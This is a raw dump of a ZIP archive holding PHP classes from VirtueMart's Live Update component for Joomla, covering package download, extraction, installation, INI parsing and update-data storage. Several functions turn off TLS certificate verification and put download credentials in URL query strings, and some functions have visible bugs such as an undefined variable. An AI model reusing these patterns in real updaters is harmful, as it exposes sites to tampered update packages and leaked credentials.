self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PKsl>\[com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/index.htmlnuW+APKsl>\=eeZcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); if(!class_exists('JModel')) require JPATH_VM_LIBRARIES.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php'; /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PKsl>\8\^com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PKsl>\w8lffccom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PKsl>\ǘ[77dcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PKsl>\)bcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PKsl>\ccom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/storage/index.htmlnuW+APKsl>\+dLLacom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PKsl>\? fcom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PKsl>\?$$`com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PKsl>\ g,,]com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name 